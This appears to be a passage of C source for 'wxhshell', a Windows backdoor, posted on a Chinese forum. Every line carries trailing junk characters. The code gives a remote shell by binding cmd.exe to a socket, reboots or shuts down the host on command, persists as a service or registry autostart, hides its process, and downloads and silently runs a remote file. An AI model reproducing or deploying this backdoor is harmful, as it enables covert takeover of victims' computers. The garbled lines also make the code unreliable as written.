  } &[`2 4Db  
  else { f*@ :,4@  
qX&+  
    switch(cmd[0]) { .0nT*LF  
  `LH9@Z{  
  // 帮助 t:dvgRJt*  
  case '?': { QAI=nrlp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,T;sWl  
    break; bLTX_ R  
  } W'Gh:73'}  
  // 安装 \*PE#RB#6  
  case 'i': { 0MT?}D&TL  
    if(Install()) <F`9;WX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T7YJC,^m  
    else *K>2B99TXu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2U%t  
    break; D~qi6@Ga  
    } `B?+1Gv  
  // 卸载 |yNyk7~  
  case 'r': { j %MY6"  
    if(Uninstall()) DN8I[5O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /&?ei*z  
    else va~:Ivl-)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7|Vpk&.>  
    break; @"cnPLh&  
    } Pf8_6z_  
  // 显示 wxhshell 所在路径 [:,|g;=Y}  
  case 'p': { uUl ;}W  
    char svExeFile[MAX_PATH]; c[1{>z{G  
    strcpy(svExeFile,"\n\r"); jKP75jm  
      strcat(svExeFile,ExeFile); .yzXw8~S  
        send(wsh,svExeFile,strlen(svExeFile),0); B'Nvl#  
    break; FpttH?^  
    } 6 y"r '  
  // 重启 h*4wi.-  
  case 'b': { "% i1zQo&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $sL+k 'dY  
    if(Boot(REBOOT)) 3b?-83a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^=I[uX-3ue  
    else { xR'd}>`  
    closesocket(wsh); -Hi_g@i*XW  
    ExitThread(0); KJn 3&7  
    } a Sm</@tO&  
    break; yokZ>+jb  
    } \#h=pz+jb  
  // 关机 Jx3a7CpX  
  case 'd': { 7DW-brd   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )W@  
    if(Boot(SHUTDOWN)) L7II>^"B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R^E-9S\@  
    else { WUDXx %  
    closesocket(wsh); PC=s:`Y}R  
    ExitThread(0); PVKq&Q?  
    } N}|1oQkjf  
    break; Q<osYO{l  
    } <!u(_Bxw/  
  // 获取shell cP21x<n  
  case 's': { TDtHR hq7  
    CmdShell(wsh); EY1L5 Ba.  
    closesocket(wsh); LGy!{c  
    ExitThread(0); Yv*i69"  
    break; "| oW6@  
  } (yu0iXZY  
  // 退出 }Ny~.EV5^  
  case 'x': { I1ibrn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yC }x6xG  
    CloseIt(wsh); g2lv4Tiq-  
    break; )P/~{Ci:T&  
    } lr,i5n{6  
  // 离开 ? !34qh  
  case 'q': { E;a9RV|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WsM/-P1Y  
    closesocket(wsh); bF@iO316H  
    WSACleanup(); ^w RD|  
    exit(1); P.|g4EdND  
    break; ~fA H6FdZ\  
        } _*(:6,8  
  } 4.&et()}  
  } 7_7^&.Hh  
{*|$@%y!  
  // 提示信息 Z=?qf$.}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); la !rg#)-X  
} vCR\lR+  
  } TwE&5F*  
Lj3q?>D*^6  
  return; [h :FJ  
} l5k]voG  
8j%lM/ v  
// shell模块句柄 2wh{[Q2f  
int CmdShell(SOCKET sock) 5al44[  
{ Ks7kaX  
STARTUPINFO si;  hWu#}iN  
ZeroMemory(&si,sizeof(si)); ?@_,_gTQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s&OwVQ<M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q->46{s|  
PROCESS_INFORMATION ProcessInfo; fI(H :N  
char cmdline[]="cmd"; i `8Y/$aT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A7 :W0Gg  
  return 0; hmd,g>J:<  
} T\HP5&  
_nnl+S>K  
// 自身启动模式 \RP=Gf  
int StartFromService(void) Neb%D8/Kn  
{ ~oBSf+N  
typedef struct lO|H:7  
{ |7T!rnr  
  DWORD ExitStatus; [+y/qx79  
  DWORD PebBaseAddress; =mk7'A>l  
  DWORD AffinityMask; Y-,1&$&  
  DWORD BasePriority; ^coJ"[D  
  ULONG UniqueProcessId; M*c`@\  
  ULONG InheritedFromUniqueProcessId; 7" cgj#  
}   PROCESS_BASIC_INFORMATION; RT2a:3f  
dQFx]p3L  
PROCNTQSIP NtQueryInformationProcess; $}7WJz:  
KH&xu,I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2? 7a\s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C44 Dz.rs  
l>9ZAI\^  
  HANDLE             hProcess; m; LeaD}0  
  PROCESS_BASIC_INFORMATION pbi;  HPj7i;?O  
f&>Q 6 {*]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t UW'E  
  if(NULL == hInst ) return 0; }%rz"kB  
P8s'e_t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h^0!I TL^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {4{ACp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SIRZ_lt$r  
R\=y/tw0H  
  if (!NtQueryInformationProcess) return 0; :FdV$E]]<  
i_&&7.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D &wm7,  
  if(!hProcess) return 0; Fx0<!_tY-  
[OsW   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A|@d4+  
2S8/ lsB  
  CloseHandle(hProcess); nmN6RGx  
A! 1>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }g _#.>D+  
if(hProcess==NULL) return 0; bLoYg^T/  
\Jv6Igu  
HMODULE hMod; PHD$E s  
char procName[255]; 4oOe  
unsigned long cbNeeded; 58MBG&a%  
cEw/F0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {N;XjV1x  
5kJ>pb$/  
  CloseHandle(hProcess); Md[nlz  
?(U> )SvF  
if(strstr(procName,"services")) return 1; // 以服务启动 U1rh[A>  
Y6fU;  
  return 0; // 注册表启动 JX/rAnc@  
} G(4:yK0  
5NeEDY 2%#  
// 主模块 'F[QE9]*  
int StartWxhshell(LPSTR lpCmdLine) `)H.TMI   
{ =J?<M?ugf  
  SOCKET wsl; 4- 6'  
BOOL val=TRUE; )r1Z}X(#d  
  int port=0; 2&!G@5  
  struct sockaddr_in door; !cE)LG  
F{f "xM  
  if(wscfg.ws_autoins) Install(); E( *$wD  
)WEyB~'o  
port=atoi(lpCmdLine); BbiBtU  
3QS"n.d  
if(port<=0) port=wscfg.ws_port; ;Fuxj!gF  
"v~w#\pz7  
  WSADATA data; E<&VK*{zcO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZT_EpT=1  
1p9f& w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '(u[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *Xl&N- 04  
  door.sin_family = AF_INET; F=^vu7rf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zYSXG-k  
  door.sin_port = htons(port); haa [ob6T  
Vv=d*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >&U]j*'4  
closesocket(wsl); KY"W{D9ib  
return 1; I%*o7"  
} +5);"71  
eVbHPu4  
  if(listen(wsl,2) == INVALID_SOCKET) { oOe5IczS(  
closesocket(wsl); {My/+{eS!?  
return 1; r"U$udwjg  
} |$9k z31  
  Wxhshell(wsl); &&(sZG w  
  WSACleanup(); S| !U=&  
UO<%|{ W+  
return 0; cKK 1$x  
2fI?P  
} 'ei9* 4y  
M*+_E8Lh  
// 以NT服务方式启动 m[ txKj.=_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sjj &n S  
{ qz(0iZ]Y  
DWORD   status = 0; Ge[N5N>  
  DWORD   specificError = 0xfffffff; S4`uNB#Ht  
q^goi 1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ; >.>vLF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P",~8Aci(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pt|u?T_+  
  serviceStatus.dwWin32ExitCode     = 0; ,uE WnZ"4  
  serviceStatus.dwServiceSpecificExitCode = 0; `N8A{8$qv  
  serviceStatus.dwCheckPoint       = 0; )>$xbo")k  
  serviceStatus.dwWaitHint       = 0; C8@SuJ  
;9 XM s)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i~.L{K  
  if (hServiceStatusHandle==0) return; /[t]m,p$yq  
$xlI"-(  
status = GetLastError(); `2d,=.X  
  if (status!=NO_ERROR) 1|n,s-  
{ SukRJvi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RNp3lXf O  
    serviceStatus.dwCheckPoint       = 0; -5d8j<,  
    serviceStatus.dwWaitHint       = 0; [ZOo%"M_Y  
    serviceStatus.dwWin32ExitCode     = status; &kRkOjuk  
    serviceStatus.dwServiceSpecificExitCode = specificError; +`_%U7p(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O^4:4tRpt  
    return; Z]":xl\7  
  } y$#mk3(e~t  
HDA!;&NRS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I6'U[)%  
  serviceStatus.dwCheckPoint       = 0; tX&Dum$  
  serviceStatus.dwWaitHint       = 0; 4wMKl6mL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +'hcFZn(T  
} p@NE^aMn  
W9{6?,]  
// 处理NT服务事件,比如:启动、停止 44mYs`]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L&Bc-kMH  
{ TpuN[Y  
switch(fdwControl) @B*?owba>  
{ \BbemCPAm  
case SERVICE_CONTROL_STOP: "f(iQI  
  serviceStatus.dwWin32ExitCode = 0; P0 DvZV8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I%b, H`  
  serviceStatus.dwCheckPoint   = 0; *ukugg.  
  serviceStatus.dwWaitHint     = 0; .& B_\*  
  { J/M1#sE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kiZA$:V8  
  } AAxY{Z-4  
  return; t!AHTtI  
case SERVICE_CONTROL_PAUSE: P[?~KNS:/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W(1p0|WQ:  
  break; Fla,#uB  
case SERVICE_CONTROL_CONTINUE: QrHI}r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [F*t2 -ta  
  break; = %\;7  
case SERVICE_CONTROL_INTERROGATE: 2r,K/'  
  break; 'h.{fKG]ME  
}; "<t/*$42  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N3TkRJZ  
} $F`jM/B6  
=sPY+~<o  
// 标准应用程序主函数 k2" Z:\?z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C5\bnk{  
{ <hkg~4EKc  
~:D}L   
// 获取操作系统版本  }aRV)F  
OsIsNt=GetOsVer(); 959&I0=g"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J}hi)k  
<}pqj3  
  // 从命令行安装 6K5KZZG  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1%G<gbHpI  
/KO!s,Nk  
  // 下载执行文件 s{2BG9s  
if(wscfg.ws_downexe) { k 9R_27F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /RT3 r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8G?'F${`  
} 5- 0  
 2(YZTaY  
if(!OsIsNt) { <bDjAVq  
// 如果时win9x,隐藏进程并且设置为注册表启动 <=/v%VXPm  
HideProc(); Ny /bNQS  
StartWxhshell(lpCmdLine); G0^WQQ4  
} u 3wF)B{  
else E tWpBg  
  if(StartFromService()) fJtJ2xi  
  // 以服务方式启动 }"06'  
  StartServiceCtrlDispatcher(DispatchTable); ZsirX~W<  
else j/5>zS  
  // 普通方式启动 ,]w -!I  
  StartWxhshell(lpCmdLine); :(c2YZ   
aBj~370g  
return 0; JR<#el  
}
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只看该作者 1 发表于: 2006-10-10
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